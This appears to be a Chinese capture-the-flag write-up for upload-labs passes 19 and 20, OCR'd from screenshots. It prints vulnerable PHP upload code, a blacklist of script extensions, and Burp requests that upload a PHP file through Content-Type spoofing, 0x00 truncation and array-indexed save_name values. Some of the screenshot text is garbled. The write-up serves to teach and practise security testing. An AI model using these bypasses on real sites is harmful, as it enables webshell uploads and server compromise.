视图	📙 🛃 📕 🖛	管理	upload	- 🗆 ×
9 0	文件 主页	共享 查看 图片工		~ 😮
ad. php	$\leftarrow \rightarrow \cdot \uparrow$	« phpstudy » PHPTut	rial > WWW > upload-labs-env > WWW > upload 🛛 🗸 💍	在 upload 中搜索
eckEx				
if th	📌 快速访问			
.rray (💻 桌面	*		
"EXTE	👆 下载	*		
1;	🔮 文档	* upload-19.php		
	▶ 图片	*	J	
	upload			
.ze()	www			
to ch	视频			
.s str	1) 百乐			
eckSi	less one Drive			
->cls	💻 此电脑			
"FILE	🧊 3D 对象			
1;	📑 视频			
	📰 图片			
	🔮 文档			
	👆 下载			
to wr	1 音乐			
.5 501	💻 桌面			
ve(){	🏪 本地磁盘	(C:)		

只保存了**0x00**前面的部分,这样shell就上传上去了,访问我们截断的文件就行。

🕷 upload-labs X	phpinfo0 × +	SEA
$\leftarrow \rightarrow \mathbf{G}$	🛇 掻 192.168.93.128/upload/upload-19.php	E ☆
🕣 导入书签 👈 新手上路 🗋 kali	工具性 🗋 CTF電场 🗋 文章攻滅 🎦 代码运行工具 🗋 笔记工具 🗋 开腹项目 🗋 安全厂商 🗋 在线解码工具 🧃 百度翻译-200种语言 🗋 CTF_Scan_Tools	
	PHP Version 5.2.17	

The version	
System	Windows NT DESKTOP-42010LIK 6.2 build 9200
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure is "enable-snapshot-build" "enable-debug-pack" "with- snapshot-lemplate=dt.php-sdKsnap_5_2/wc6v&Bitemplate" "with-phb-build=dt.php- sdKsnap_5_2wc6v&Bitph_build"with-pdo-ci=D-php-sdKorade/unstantclient10 \sdk.shared"with-oci8=D'.php-sdKorade/unstantclient10\sdk.shared"without- pJ&web"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:Windows
Loaded Configuration File	E:\phpstudy\PHPTutorial\WWW\upload-labs-env\PHP\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613

```
# 源码
msg = null;
if (isset($_POST['submit'])) {
 if (file_exists(UPLOAD_PATH)) { // 黑名单
    $deny_ext = array("php","php5","php4","php3","php2","html","html","pht","pht","jsp","jspa","jspx","jsv","jsv","jspf","jtml","asp","aspx","asa"
"asax","ascx","ashx","asmx","cer","swf","htaccess");
    $file_name = $_POST['save_name']; // 获取输入的文件名
    $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); // pathinfo() 返回文件路径的信息,PATHINFO_EXTENSION 指定返回路径中最后
    if(!in_array($file_ext,$deny_ext)) { // 判断后缀是否存在于黑名单
      $temp_file = $_FILES['upload_file']['tmp_name'];
      $img_path = UPLOAD_PATH . '/' .$file_name;
      if (move_uploaded_file($temp_file, $img_path)) {
      }else{
        $msg = '上传出错! ';
    }else{
      $msg = '禁止保存为该类型文件!';
 } else {
    $msg = UPLOAD_PATH. '文件夹不存在,请手工创建!';
```

在 pathinfo 这里就存在漏洞,他只保存上传文件的最后的部分作为后缀和过滤,上面使用 00截断 后,文件保存的时候不会保存 00 之后的 字符串,只保存了前面。

方法: 0x00 截断

Pass-20

看似和上面一个一样,测试测试就知道了。



请求(Request)		順応(Respons)						
差化(Reath) 間始(Raw) 16进制(Hey) Cookies	\n =	美化(Pretty) 層	itté(Raw)	16]##(Hev)	順应内容(Render)	法安生(Headers)		🗐 \n =
1 POST /Pace-20/index nhn HTTP/1 1		Serb(rretty) //	(((un))	"	mant /farm-date	" mothed="next"		
2 Host / 192 168 93 128	6	55	(TOTM enc	type- multi	part/form-data	. method− post /		
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rx:100.0) Gecko/20100101 Firefox/100.0	0	10	、h、 連係報	8. 画上林的图)	t. (n)			
Accept text/html, application/html+xml, application/xhtml+xml, appli	.8 6	1	HI ALLIH	mut class="	innut file" ti	ne="file" name="unld	ad file"/>	
5 Accept-Language: zh-CN, zh: g=0, 8, zh-TW; g=0, 7, zh-HK; g=0, 5, en-US; g=0, 3, en; g=0, 2		12	<n><</n>	put crass	imput_tite tj	pe ille name apio	Jad_III6 //	
6 Accept-Encoding: gzip, deflate	`		6	星存名称・ <n></n>				
7 Content-Type: multipart/form-data;	6	33		<input cla<="" td=""/> <td>ss="input text</td> <td>"type="text" name="</td> <td>'save name" value="</td> <td></td>	ss="input text	"type="text" name="	'save name" value="	
boundary=				upload-20.	ipg" />			
8 Content-Length: 500				 				
9 Origin: http://192.168.93.128	6	34		<input cla<="" td=""/> <td>ss="button" ty</td> <td>pe="submit" name="su</td> <td>ubmit" value="上传"/></td> <td></td>	ss="button" ty	pe="submit" name="su	ubmit" value="上传"/>	
0 Connection: close	6	55	<	/form>				
1 Referer: http://192.168.93.128/Pass-20/index.php	6	66	F.	div id-"msg	<i>"</i> >	-		
2 Upgrade-Insecure-Requests: 1	6	57		提示:禁止	上传该类型文件!			
3				/div>				
436521964153208822772213034161	6	38	<	div id="img	<i>"</i> >			
5 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"	6	59	<	/div>				
6 Content-Type: application/octet-stream	7	0	1</td <td>.i></td> <td></td> <td></td> <td></td> <td></td>	.i>				
7	1	1		•				
8 php phpinfo(); ?	1	2						
9	1	73						
		74						
1	1	75	<div id="</td><td>footer ></td><td></td><td></td><td></td><td></td></tr><tr><td>2 Content-Disposition: form-data; name= save_name</td><td>1</td><td>6</td><td><center</td><td>·></td><td></td><td></td><td></td><td></td></tr><tr><td>3</td><td></td><td></td><td>Copyr</td><td>1ght @</td><td> <span 10</td><td><pre>= copyright_time ></pre></td><td></td><td></td></tr><tr><td>4 L. JD8</td><td></td><td></td><td></spa:</td><td>n></td><td>1 6 11 1 1</td><td></td><td>1.7.5</td><td></td></tr><tr><td></td><td></td><td></td><td>anosp</td><td>;by <a</td><td>nrei= http://</td><td>gv/.me target= _bar</td><td>nk ></td><td></td></tr><tr><td>7</td><td></td><td></td><td>cun</td><td>iy i</td><td></td><td></td><td></td><td></td></tr><tr><td>- 25 上作</td><td></td><td></td><td>(leente</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>3</td><td></td><td>77</td><td>(div)</td><td>.1 ></td><td></td><td></td><td></td><td></td></tr><tr><td></td><td></td><td>8</td><td>(div clas</td><td>c=" mack"<="" td=""><td></td><td></td><td></td><td></td></div>					
		×	27 till S	a most /				

目标: htt

直接被拦截了,说明这对上传的文件进行了校验,具体在那个位置校验就需要再测试了。 MIME、后缀、文件头



测试修改了下 Content-Type 字段,文件就上传成功了,再试试 0x00 截断。

			_		
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🚍 In ☰	美化(Pretty)	原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers)	🚍 \n 🗏	Selection	1
1 POST /Pass=20/index.php HTTP/1.1		到服务器。			
2 Host: 192.168.93.128				Selected character	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	56	1i		10	
4 Accept: text/html, application/xntml+xml, application/xml; q=0. 9, image/avit, image/webp, */*; q=0. 8	57				
5 Accept-Language: zn-CH, zn, d-0. 8, zn-1W; d-0. 7, zn-nK; d-0. 5, en-05; d-0. 5, en; d-0. 2	58	<h3></h3>			
Content-Turner, multiment (form-date)		上传区		Code 16进制(Hex) >>	
builderv=	50				
S Content-Length: 490	59	(form enclype- multipart/form-data method- post /		00	
9 Origin: http://192.168.93.128	00	(P) 法选择题上他的图片, (n)			
10 Connection: close	61	<pre>(input class="input file" type="file" name="unload file"/></pre>		取消(Cancel) App	ly changes
11 Referer: http://192.168.93.128/Pass-20/index.php	62	<pre>(n)</pre>			
12 Upgrade-Insecure-Requests: 1		保存名称:		Request Attributes	2 .
13	63	<pre><input class="input_text" name="save_name" type="text" value="</pre></td><td></td><td></td><td></td></tr><tr><td>1436521964153208822772213034161</td><td></td><td>upload-20. jpg"/></pre>		Request Query Parameters	0
15 Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"		 			
16 Content-Type: image/png	64	<input <="" class="button" name="submit" td="" type="submit" value="上传"/> <td>'></td> <td>Request Body Parameters</td> <td>3 1</td>	'>	Request Body Parameters	3 1
17	65				
18 cyphp phpinic(); 7>	66	<pre>(div id="msg")</pre>		Request Cookies	0
10	67	提示: 又件上传成功!			
30	60			请求头(Request Headers)	11
22 Content-Disposition: form-data: name="save name"	60	(inc inc. / (mland/1 - rec" - i debe "250m" /)			
	05	(ing src=/uproad/1.png width= 250px //		Response Headers	6 .
24 1. php png		(/div)		· ·	
2536521964153208822772213034161	70	1i			
26 Content-Disposition: form-data; name="submit"	71				
27	72				
28 上传	73				
2936521964153208822772213034161	74				
	75	<div id="footer"></div>			
	76	<center></center>			
		Copyright @ 			
		<pre>anosp;oyanosp; cOpy1</pre>			
		conyr			

```
# 源码
$is upload = false;
if(!empty($_FILES['upload_file'])){
 //检查MIME
 $allow_type = array('image/jpeg','image/png','image/gif');
 if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";
 }else{
   //检查文件名
   $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
   // 如果没有定义名字则使用文件名,否则使用定义的名字
   1) if (!is_array($file)) { // 判断 $file 是不是数组,上传的文件肯定不是数组,所以 !is_array($file) 就是True (漏洞就在这块了)
      $file = explode('.', strtolower($file)); // 使用'.' 将字符串分隔开,返回数组, strtolower() 将字符串转化为小写
    $ext = end($file); // 取出数组中最后一个值(.后面的值)
    $allow_suffix = array('jpg','png','gif');
    if (!in_array($ext, $allow_suffix)) {
      $msg = "禁止上传该后缀文件!";
   }else{
      $file_name = reset($file). : '.'. $file[count($file) - 1]; // reset 将获得文件的名称, 再和count之后得到的后缀拼接
      $temp_file = $_FILES['upload_file']['tmp_name'];
      $img_path = UPLOAD_PATH . '/' .$file_name;
      if (move_uploaded_file($temp_file, $img_path)) {
        $msg = "文件上传成功!";
      } else {
        $msg = "文件上传失败! ";
else{
 $msg = "请选择要上传的文件!";
```

1)的位置判断传入的值是不是数组,如果不是就使用explode用点分隔成数组,但是没有进行如果 \$file 是数组的情况,先捋一下是数组的 代码运行。

```
# $file 是数组情况
if (!is_array($file)) { // 判断 $file 是不是数组,上传的文件肯定不是数组,所以 !is_array($file) 就是True (漏洞就在这块了)
     <mark>$file = explode('.', strtolower($file</mark>)); // 使用 '.' 将字符串分隔开,返回数组,strtolower() 将字符串转化为小写
   }
// 如果 $file 是数组,那上面 explode语句就不会执行,而是直接执行下面的语句块
// 利用数组绕过这里的判断
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
     $msg = "禁止上传该后缀文件!";
   }else{
     $file name = reset($file).'.'.$file[count($file) - 1]; // reset 将获得文件的名称,再和count之后得到的后缀拼接
 // 这里的 $file 如果是个数组,则count($file)-1 就可以改成空
     $temp_file = $_FILES['upload_file']['tmp_name'];
     $img_path = UPLOAD_PATH . '/' .$file_name;
     if (move_uploaded_file($temp_file, $img_path)) {
       $msg = "文件上传成功!";
     } else {
       $msg = "文件上传失败! ";
end — 将数组的内部指针指向最后一个单元
reset — 将数组的内部指针指向第一个单元
count — 统计数组、Countable 对象中所有元素的数量
explode — 使用一个字符串分割另一个字符串
```

利用数组的性质,将 save_name 以索引的形式传入值, save_name[0] 会被 reset(

file)指向, save ame[2]会在end()函数中被指向,由此可以绕过后缀的校验,而在拼接的时候* *count(file) == 2**,

请求(Request)	响应(Respons)			
美化(Pretty) 原始(Raw) 16进制(Hex) Cookies 🗐 \n ☰	美化(Pretty) 原始(Raw) 16进制(Hex) 响应内容(Render) 请求头(Headers) 🗐 い ☰			
1 POST /Pass-20/index.php HTTP/1.1				
2 Host: 192.168.93.128	工作区			
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0	50 (form onetwor"multipart/form-date" method="neet")			
4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8	60 (n) (c) (c) (c) (c) (c) (c) (c) (c) (c) (c			
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK;q=0.5, en-US;q=0.3, en;q=0.2	00 ()// ()// ()// ()// ()// ()// ()// ()			
6 Accept-Encoding: gzip, deflate	61 (input classes input file" type="file" name="unload file"/)			
7 Content-Type: multipart/form-data;				
boundary=	Gez ≤			
8 Content-Length: 620	63 (input class="input text" type="text" name="save name" value="			
9 Origin: http://192.168.93.128	upload=20. jpg" />			
10 Connection: close				
11 Keierer: http://192.108.90.128/Pass=20/Index.php	64 <input class="button" name="submit" type="submit" value="上传"/>			
12 Upgrade=Insecure=Kequests: 1	65			
13	66 <div id="msg"></div>			
15 Content-Disposition: form-data: name="unload file": filename="nhpinfo nhp"	67 提示:文件上传成功!			
lo Content-Type: image/png				
17	68 <div id="img"></div>			
18 php phpinfo(); ?	69 			
19				
20				
24 329366047313913462573416367532				
2 ² Content-Disposition: form-data; name="save_name[0]"	72 (diw)			
23	73			
24 info.php	74			
20329368047313913482573416367532	75 (div id="footer")			
26 Content-Disposition: form-data; name= save_name[2]	76 <center></center>			
27	Copyright @ 			
2 png 0				
ap azosobiisisisisisisisisisisisisisisisisisi	<pre> by </pre>			
	c0ny1			
33				
34				
35	18 Calv Class= mask 2			
	(/aiv)			
	20 (dir class= dialog title")			
	all the second			
	periosp. Ava hier javascript. Audu (0) class close title (4)			



方法:代码审计

总结

upload-labs 靶场就练完了,总结下来,还是学习到不少东西,大部分的漏洞造成原因基本是在于**代码上的逻辑漏洞**,攻击者再配合不 同操作系统的特性和中间件的一些配置错误造成的漏洞利用最终可以达到getshell的目的,如果站点过滤的手段是黑名单的话,安全性可 能要比白名单低很多,对于黑名单的绕过方法有很多,白名单相对来说少一点,大部分都是配合系统或者中间件的漏洞进行攻击。 对php的函数了解太少了,代码审计起来比较困难,学习的道路还长,还得努力。 以上Pass中如果有发现哪些Pass有疑惑或者发现错误的,希望留下你的思路。